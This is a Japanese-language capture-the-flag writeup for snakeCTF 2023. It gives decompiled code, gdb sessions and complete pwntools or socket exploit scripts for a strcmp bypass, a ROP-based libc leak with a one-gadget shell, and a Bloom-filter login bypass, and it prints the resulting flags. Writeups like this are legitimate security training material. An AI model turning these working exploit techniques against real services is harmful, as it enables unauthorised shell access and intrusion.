snakeCTF 2023 Writeup

この大会は2023/12/9 18:00(JST)~2023/12/10 18:00(JST)に開催されました。
今回もチームで参戦。結果は315点で180チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。

sanity check (misc)

YouTubeの画像の中にフラグがあった。

snakeCTF{w3lc0me_to_our_n3st}

military grade authentication (pwn)

Ghidraでデコンパイルする。

void main(EVP_PKEY_CTX *param_1)

{
  int iVar1;
  ssize_t sVar2;
  long in_FS_OFFSET;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  init(param_1);
  iVar1 = open("/dev/urandom",0);
  if (iVar1 == -1) {
    err(1,"Someone stole my entropy file");
  }
  sVar2 = read(iVar1,&local_38,0x20);
  if (sVar2 != 0x20) {
    errx(1,"How does this even happen??");
  }
  close(iVar1);
  printf(&DAT_00102058);
  sVar2 = read(0,&local_58,0x80);
  if (sVar2 < 1) {
    err(1,"read broken lol");
  }
  iVar1 = strcmp((char *)&local_58,(char *)&local_38);
  if (iVar1 == 0) {
    puts(&DAT_00102118);
    get_shell();
  }
  puts(&DAT_00102148);
                    /* WARNING: Subroutine does not return */
  exit(1);
}

入力前半32バイト(終端\0まで)と後半32バイト(終端\0まで)が同じものを指定すれば、条件を満たしシェルが取れる。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('pwn.snakectf.org', 1337)
else:
    p = process('./military_grade_auth')

payload = b'A' * 16
payload += b'\x00' * 16
payload += b'A' * 16
payload += b'\x00' * 16

data = p.recvuntil(b':')
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to pwn.snakectf.org on port 1337: Done
b'\xe2\x9b\x94\xef\xb8\x8f Stop right here \xf0\x9f\xab\xb8, this is a private property. Only allowed individuals can get inside! \xe2\x9b\x94\xef\xb8\x8f\nPlease insert the \xe2\x98\x85secret\xe2\x98\x85 password to verify your identity:'b'AAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
b' \xe2\x9c\x94\xef\xb8\x8f Looking good. You can go ahead. \xe2\x9c\x94\xef\xb8\x8f'
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
snakeCTF{h1pp17y_h0pp17y_7h47'5_my_pr0p3r7y}
snakeCTF{h1pp17y_h0pp17y_7h47'5_my_pr0p3r7y}

obligatory bof (pwn)

$ checksec --file obligatory_bof  
[*] '/media/sf_Shared/obligatory_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1)

{
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;
  
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  init(param_1);
  printf("Well, just tell me what to do: ");
  read(0,&local_28,0x100);
  puts("Ok, got it!");
  return 0;
}

GOT領域のアドレスをリークし、libcのbaseアドレスを算出してからmainに飛ばし、2周目でOne Gadget RCEを行う。

$ ROPgadget --binary obligatory_bof --re "pop rdi" 
Gadgets information
============================================================
0x00000000004012d3 : pop rdi ; ret

Unique gadgets found: 1

$ gdb -q ./obligatory_bof     
Reading symbols from ./obligatory_bof...
(No debugging symbols found in ./obligatory_bof)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /media/sf_Shared/obligatory_bof 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Well, just tell me what to do: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL 
Ok, got it!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffde58 --> 0x7fffffffe1e2 ("/media/sf_Shared/obligatory_bof")
RCX: 0x7ffff7ebdad0 (<__GI___libc_write+16>:    cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x7ffff7f9a803 --> 0xf9ba30000000000a 
RDI: 0x7ffff7f9ba30 --> 0x0 
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RIP: 0x40126a (<main+111>:      ret)
R8 : 0x4012e0 (<__libc_csu_fini>:       endbr64)
R9 : 0x7ffff7fcfaf0 (<_dl_fini>:        push   rbp)
R10: 0x7ffff7dcffd0 --> 0x100022000065f3 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffde68 --> 0x7fffffffe202 ("CLUTTER_IM_MODULE=xim")
R14: 0x0 
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40125f <main+100>: call   0x401070 <puts@plt>
   0x401264 <main+105>: mov    eax,0x0
   0x401269 <main+110>: leave
=> 0x40126a <main+111>: ret
   0x40126b:    nop    DWORD PTR [rax+rax*1+0x0]
   0x401270 <__libc_csu_init>:  endbr64
   0x401274 <__libc_csu_init+4>:        push   r15
   0x401276 <__libc_csu_init+6>:        lea    r15,[rip+0x2b93]        # 0x403e10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd48 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0008| 0x7fffffffdd50 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0016| 0x7fffffffdd58 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0024| 0x7fffffffdd60 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0032| 0x7fffffffdd68 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0040| 0x7fffffffdd70 ("AJAAfAA5AAKAAgAA6AAL\n")
0048| 0x7fffffffdd78 ("AAKAAgAA6AAL\n")
0056| 0x7fffffffdd80 --> 0xa4c414136 ('6AAL\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000000000040126a in main ()
gdb-peda$ patto AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 40

各関数のアドレスをleakし、下3桁を確認する。

puts: 420
printf: c90
read: fc0

https://libc.blukat.me/で調べた結果、libc6_2.31-0ubuntu9.12_amd64が該当する。ダウンロードして、one gadgetを調べる。

$ one_gadget libc6_2.31-0ubuntu9.12_amd64.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('pwn.snakectf.org', 1338)
else:
    p = process('./obligatory_bof')

elf = ELF('./obligatory_bof')
libc = ELF('./libc6_2.31-0ubuntu9.12_amd64.so')

pop_rdi_addr = 0x4012d3
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = elf.symbols['main']
one_gadget_addr = 0xe3b01

payload = b'A' * 40
payload += p64(pop_rdi_addr)
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(main_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)

leak = p.recvline().rstrip()
puts_addr = u64(leak.ljust(8, b'\0'))
log.info('leaked puts address: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.info('libc base address: ' + hex(libc_base))

payload = b'A' * 40
payload += p64(libc_base + one_gadget_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to pwn.snakectf.org on port 1338: Done
[*] '/media/sf_Shared/obligatory_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/media/sf_Shared/libc6_2.31-0ubuntu9.12_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Well, just tell me what to do: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd3\x12@\x00\x00\x00\x00\x00\x18@@\x00\x00\x00\x00\x00t\x10@\x00\x00\x00\x00\x00\xfb\x11@\x00\x00\x00\x00\x00'
Ok, got it!
[*] leaked puts address: 0x7fd8a6158420
[*] libc base address: 0x7fd8a60d4000
Well, just tell me what to do: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01{\x1b\xa6\xd8\x7f\x00\x00'
Ok, got it!
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
snakeCTF{w3lc0m3_70_5n4k3c7f_pwn3r}
snakeCTF{w3lc0m3_70_5n4k3c7f_pwn3r}

bloom bloom (crypto)

サーバの処理概要は以下の通り。

・TIMEOUT = 300
・FLAGは"CTF{"から始まり、"}"で終わることをチェック
・alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
・users = 0b0
・hash_functions_count = 5
・size = 256
・logged_in = False
・key: ランダム16バイト文字列
・iv: ランダム16バイト文字列
・以下繰り返し
 ・choice: 入力
 ・choiceが"1"の場合
  ・logged_inがTrueの場合、choice入力からやり直し
  ・username: 入力
  ・usernameが128バイトより長いか、alphabet似ない文字が使われている場合、choice入力からやり直し
  ・usernameが"Administrator"の場合、choice入力からやり直し
  ・res = check_user(username)
   ・enc_username: usernameをパディングし、AES ECB暗号化したもの
   ・以下5回繰り返し
    ・digest = mmh3.hash(enc_username, i) % size
    ・users & (0x1 << digest) == 0の場合、Falseを返す。
   ・Trueを返す。
  ・resがTrueの場合
   ・login()
    ・logged_in = True
 ・choiceが"2"の場合
  ・logged_inがTrueの場合、choice入力からやり直し
  ・check_user("Administrator")がTrueの場合、フラグを表示
 ・choiceが"3"の場合
  ・username: 入力
  ・usernameが128バイトより長いか、alphabet似ない文字が使われている場合、choice入力からやり直し
  ・usernameが"Administrator"の場合、choice入力からやり直し
  ・res = check_user(username)
  ・resがTrueの場合、choice入力からやり直し
  ・add_user(username)
   ・enc_username: usernameをパディングし、AES ECB暗号化したもの
   ・以下5回繰り返し
    ・digest = mmh3.hash(enc_username, i) % size
    ・users = users | (0x1 << digest)
 ・choiceが"4"の場合
  ・logged_inがTrueの場合
   ・logout()
    ・logged_in = False
 ・choiceが"5"の場合、終了

適当に何ユーザも登録し、usersのビットをできるだけ立てれば、"Administrator"としてログインできる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.snakectf.org', 1400))

for i in range(128):
    data = recvuntil(s, b'> ')
    print(data + '3')
    s.sendall(b'3\n')
    data = recvuntil(s, b': ')
    print(data + str(i))
    s.sendall(str(i).encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

__ Welcome to the super secure Database __

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit
            
> 3
Username: 0
Good job 0! You are now able to Login

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit
            
> 3
Username: 1
Good job 1! You are now able to Login

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit
            
> 3
Username: 2
Good job 2! You are now able to Login

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit

        :
        :

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit
            
> 3
Username: 125
Such username already exists!

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit
            
> 3
Username: 126
Such username already exists!

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit
            
> 3
Username: 127
Such username already exists!

            1) Login 
            2) Login as Administrator
            3) Register
            4) Logout
            5) Exit
            
> 2
Welcome back Administrator
Here is your flag: snakeCTF{w3lc0me_to_cryp70_ch4ll3ng35}
snakeCTF{w3lc0me_to_cryp70_ch4ll3ng35}